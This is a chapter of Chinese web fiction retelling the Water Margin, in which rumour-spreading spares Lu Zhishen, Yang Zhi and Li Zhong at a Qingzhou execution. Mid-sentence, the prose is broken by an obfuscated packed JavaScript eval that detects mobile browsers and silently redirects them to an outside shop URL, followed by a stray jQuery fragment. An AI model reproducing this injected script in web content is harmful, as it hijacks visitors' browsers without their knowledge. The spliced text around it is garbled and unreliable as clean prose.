善义楼虽是去年底新开张的店,生意却十分火爆。究其缘由,除了酒菜格外美味,那泼辣风情的老板娘也是店里的一大活招牌。
梁学究也是慕名而来,今日他在这酒楼里订了个小桌,要请自己那当“戳子”的好友吴仓小酌一二。
戳子,也就是以代写讼状为生的人,消息最是灵通。
待吴仓落座之后,梁学究就忙不迭地问道:“吴兄,可曾听得我家那间铺子到底打算如何判的了?”
吴仓自然知道对方无事献应勤,必有所求,没好气道:“梁贤弟果真是两耳塞豆不闻世事?岂不知近日官府已将那三山贼寇一网打尽,足足有几百号人呢!这审问起来,耗到猴年马月也难以有个头绪,哪还顾得上你那桩陈芝麻烂谷子的案子?”
梁学究急了:“那得等多久?”
吴仓翻了个白眼:“且耐着性子吧,待到那些个反贼一个个掉了脑袋,官老爷或许才能腾出空来理会你的那点子事呢!”
梁学究苦道:“唉,我岂会不知这等大事,街头巷尾早已传得沸沸扬扬。只是那些个贼寇,也未曾踏进我家门槛半步抢我一分一毫,又与我有何相干?我自家那铺子,白白空置了几个月,眼睁睁瞧着几十两白花花的银子打了水漂,这才真叫人心痛啊!”
吴仓呵呵笑了一声:“虽与梁贤弟无甚干系,却与那帮官老爷们大大相关,断你那十桩经济纠葛,也抵不上擒个反贼来得功劳赫赫。不过你也莫急,虽说那些喽啰审起来麻烦,但我也听得说那几个反贼头目应该是不日就要先行斩首了。”
“噢,果真如此便好了。”
说道此处,梁学究左右看了两眼,以手掩口,悄悄凑到吴仓耳边问道:“吴兄,我问你一事,你听过便忘了,切莫说是我问的。”
“贤弟且说来听听。”吴仓见他如此,也郑重道。
“我听说这次其实没抓到三山贼寇,只是抓到清风山那三个头领,剩下的二龙山和桃花山的,都给逃了,知府好大喜功,弄了些假的来冒充啊?”
“害,可不能乱说。”吴仓立即作势掩住梁学究之口,左右环视后,摇摇头又道,“不过你这说法,我也听过,据说之所以如此急着斩首,就是因为人是假的,所以赶紧砍了脑袋才好报上京去冒功呢……”
“呦,二位说什么悄悄话呢?”
吴梁二人俱是一惊,循声看去,只见老板娘扭着腰肢,笑意盈盈,手中端着一盘好羊羹向他们款款走来。
二人讪讪笑了下,吴仓突然想起来这老板娘也是和官府有瓜葛的人,她说不定知道些内幕呢!
“老板娘,你经常去府衙送餐食,可曾见过那些个贼头子,是不是果然如传言那般,貌丑似夜叉?”吴仓笑眯眯地旁敲侧击。
"害,我哪有那个资格见这等要犯,不能瞎说。"孙二娘娇笑一声,用手中绣帕嗔怪地打了下吴仓,“客官吃酒便吃酒,问这嚇人的事作甚?”
“好奇,哈哈哈,好奇而已。”
待老板娘走远,二人相视点了点头——看来传言不假了,这般捂着不让人见,定是还没抓到人,在找替死鬼呢!
孙二娘回头看了一眼满座的食客,轻哼一声,径直绕过后厨,走进侧边一个隐蔽的厢房,掀开门帘,只见郁竺武松和张青俱在。
“妹子,按你说的,这流言已经散得沸沸扬扬了,连不常来我这店里的客人都知道了。”
郁竺点点头:“如此便好,哥哥嫂嫂可以放心了,鲁智深他们一时半会儿掉不了脑袋了。”
一旁的张青哭笑不得:“唉,遣用了多少靠谱的伙计,散出去不少银两,妹子你这哪里是‘众口铄金’,分明是‘金铄众口’。”
“财散人聚,财散人聚哈哈哈……”
*
慕容彦达府上,张虞侯一溜小跑,急急忙忙找到正在逗鸟说话的知府大人。
“不好了,不好了!”
“何事如此匆忙?”
慕容彦达皱眉看着自己这位手下——这般有失体统,若非他心情好,早就一棍子将其扫出门去了。
张虞侯跑到近前,四处张望一番,见周围侍女知趣地退下后,这才附在慕容彦达耳边,压低了声音,将自己方才听到的那些流言蜚语,又添油加醋地细细复述了一遍。
果然,慕容彦达立即火冒三丈:“还有这等事?这六个活生生的人,还能是假的不成!”
“唉,话是这么说,可您也知道三人成虎,还是不能不把这事儿放在心上啊。”
慕容彦达重重叹了口气:“我何尝不知道将反贼押解进京,才是最好的法子,可是这六个强人个个一身的好本事,从青州到东京,最快也要十天,万一路上出了纰漏,如何交代?”
张虞侯拧着眉头沉思半响,突然眼前一亮:“大人,既然这些愚民对清风山贼寇没有异议,不如将那三人先斩首示众,然后将剩下三人,分批次押解进京,这样每次派出去的人,只需要看护一个,我就不信还能跑得了。”
“嗯,此法倒是可行。”慕容彦达点了点,“将那三人明日便押往十字路口斩首,其余三人,也一并押去观刑,让他们亮个象,给那些愚民愚妇好好瞧瞧。”
张虞侯领了命,忙不迭准备向大牢跑去。
慕容彦达脑间一转,又将他喊了回来,在耳边细细叮嘱一番。
张虞侯听罢连连点头:“高呀!大人这招着实是高!定叫他们晓得什么是雷霆雨露,哈哈哈……”
*
翌日清晨,青州十字路口,人声鼎沸。
晨曦穿透薄雾,将这市井衬得烟火气十足。
一个小贩担着箩筐,沿街叫卖,却发现突然来了七八个全副武装的公差,立即凑上前去:“大人,要来点炊饼吗?早上刚做的,两文钱一个……”
“滚你的蛋!”公差不耐烦地将他推到一边,手上却不忘拿过那小贩递来的炊饼,“赶紧闪一边去!”
那小贩见状,也不敢再上前问这些公差要钱,赶紧担起扁担让路。
只见那七八个公差,匆忙将这十字路口打扫一番,又团团围住,不准旁人再靠近。
周围百姓见了,心照不宣——这是有砍头的好戏看咯!
另一边,张虞侯早早就点了狱卒、民壮、刽子等一百余人,在大牢前伺候着。
慕容彦达捱到辰时才姗姗来迟,见一众官员都已等候在公堂,颇为满意,叫人将六个反贼带上公堂,当案孔目把几人的犯由牌呈上,慕容彦不由分说判了六个“斩”字,便挥一挥袖子退了堂。
武松站得近,将那“斩”字看得真切,不由得担心起来——难道这众口铄金也不足以改变慕容彦达的心思?
抬眼向郁竺看去,却见对方也正在看向自己,面色轻松,似是胸有成竹,武松只得将一颗心先放到肚子里。
狱卒们将几个人犯当堂装扮起来,用胶水给他们将头发刷得服服帖帖,又绾个鹅梨角儿,再一人插了一朵红纸石榴花。
由于鲁智深没有头发,那负责打扮的狱卒还别出心裁地将花别到了他耳朵后面。
这时的男子普遍爱簪花,尤其是重要的节庆仪式更要簪上各式的绢花,如今这“断头纸花”,算是他们人生中至暗时刻的唯一装扮了。
燕顺、郑天寿、李忠等人想到这处,竟是脚发软,站也站不住。
那些公人哪里管得了这人犯什么心情,照例将他们押到青面圣者神案前,一人一碗长休饭并一碗永别酒,只是他们也知道,很少有人在此刻能吃得下这断头酒的。
却见鲁智深示意一边的公人端起那酒碗送至他嘴边,一口干了个底朝天。因手被枷着,动起来不便,喝完之后他就一甩头,随意将那碗甩到地上,口中竟是赞叹道:“好酒!”
“嘿!你这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187980|148727||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
胖大和尚倒是心宽,死到临头了竟然不怕。”张虞侯觉得甚有意思,走到鲁智深面前将他打量一番。
谁知这大胖和尚还没开口,旁边那青脸汉子抢先说了话:“各位大人,我乃杨令公之孙,在高太尉手下做过殿司制使,也在梁中书手下当过管军提辖使,我并非有心反了朝廷,实在是一身本事报国无门才出此下策啊,万望诸位大人明察。”
说着就要叩首,只不过他戴着枷,那木枷碰得地面砰砰作响。
郁竺见状在心里不住摇头,早知如此,她一定会找机会和杨志事先沟通一下。
果然,他这句话没起到任何效果,张虞侯一脚踢在他身上:“我管你是谁,我还是玉皇大帝的女婿呢!”
最后的挣扎没有起到作用,杨志顿时面色发灰,半句言语也无。
张虞侯见状,挥挥手命人将六人押往法场,州府一众官吏亦随行前往。
郁竺夹杂在这一行人当中,一路行至法场,只见四周早已围满了百姓,里三层外三层的,人头攒动,粗略估算下来,怕是足有上千人之多,嘈杂的人声嗡嗡作响,就差将这法场上空掀翻了去。
公差将六人分成两组,清风山三人面南朝北,二龙山桃花山三人面北朝南,两两相对。
三个刽子分别站在王英、燕顺、郑天寿的侧边,砍刀在阳光的照射下映着寒光。
法场外,压肩叠背的人群,像汹涌的潮水,推搡着、叫嚷着,都想占据一个观赏的好位置。
法场内,时间仿佛凝固了,一分一秒都过得无比漫长。
终于等到午时三刻,刽子将那犯由牌拆下,高喊一声“恶杀都来”,那王英见状大吼一声“二十年后仍是……”
话音未落,三口大刀便齐齐落下,温热的献血喷涌而出,洒了对面另外三个人犯一身,人群中爆发出此起彼伏的叫好声。
只见三个脑袋咕噜噜滚在一起,俊的丑的、胖的瘦的,此时也分辨不出来了。
未斩的三个人犯见状,神色各异,李忠的双股间淅淅沥沥滴着液体。
郁竺将手伸进袖中,捏住迷魂香,心如擂鼓,却强行让自己镇定下来——她始终相信自己的判断,这不过是最后一重保险。
果然,三个刽子绕到另一侧,还未将大刀抬起,便听到张虞侯说道:“且慢!”
众人面面相觑。
只见张虞侯得意一笑:“知府大人早有命令,鲁智深、杨志、李忠三名反贼,择日押往东京,听候圣裁。”
说罢,他转身朝三人说道:“可要知道,知府老爷一句话,便能叫尔等生,也能让尔等死。区区三山反贼,不过如同草芥蝼蚁,何足挂齿!”
郁竺见状松了一口气,捏着迷魂香的手从袖中抽出。
只见三个人又被押着从法场上下了,关进了囚车,车轮轰隆作响,缓缓驶向监牢。
围观的百姓少看了一次热闹,失望得紧,纷纷向三人扔起了烂菜叶子。
鲁智深从头至尾便未露出过什么恐惧之色,此时更是面容平静,任由那菜叶子耷拉在自己光头上。
李忠则是大口喘着气,虽说进京后命运未知,但好歹暂时活下来了,也算劫后余生。
唯有杨志,自在公堂上被张虞侯踹了一脚,脸色便一直阴沉得可怕,此刻身在囚车里,百姓的辱骂自四面八方席卷而来,更是将他心头之火吹得熊熊燃起。
说什么听候圣裁,还不是去给人羞辱一番再结束性命。
此次已经被当做猴儿耍了一回,还要再来一次,真当他杨志便是那惜命怕死毫无廉耻之人吗?
他只不过不愿背负着贼寇的恶名去死,给祖宗遗体添了污点罢了。
想到这处,杨志目光向囚车前的几人扫去,眼神狠厉。
这世道,什么人都能活出个样子,偏偏自己三代将门之后,时乖运蹇。
苍天无眼!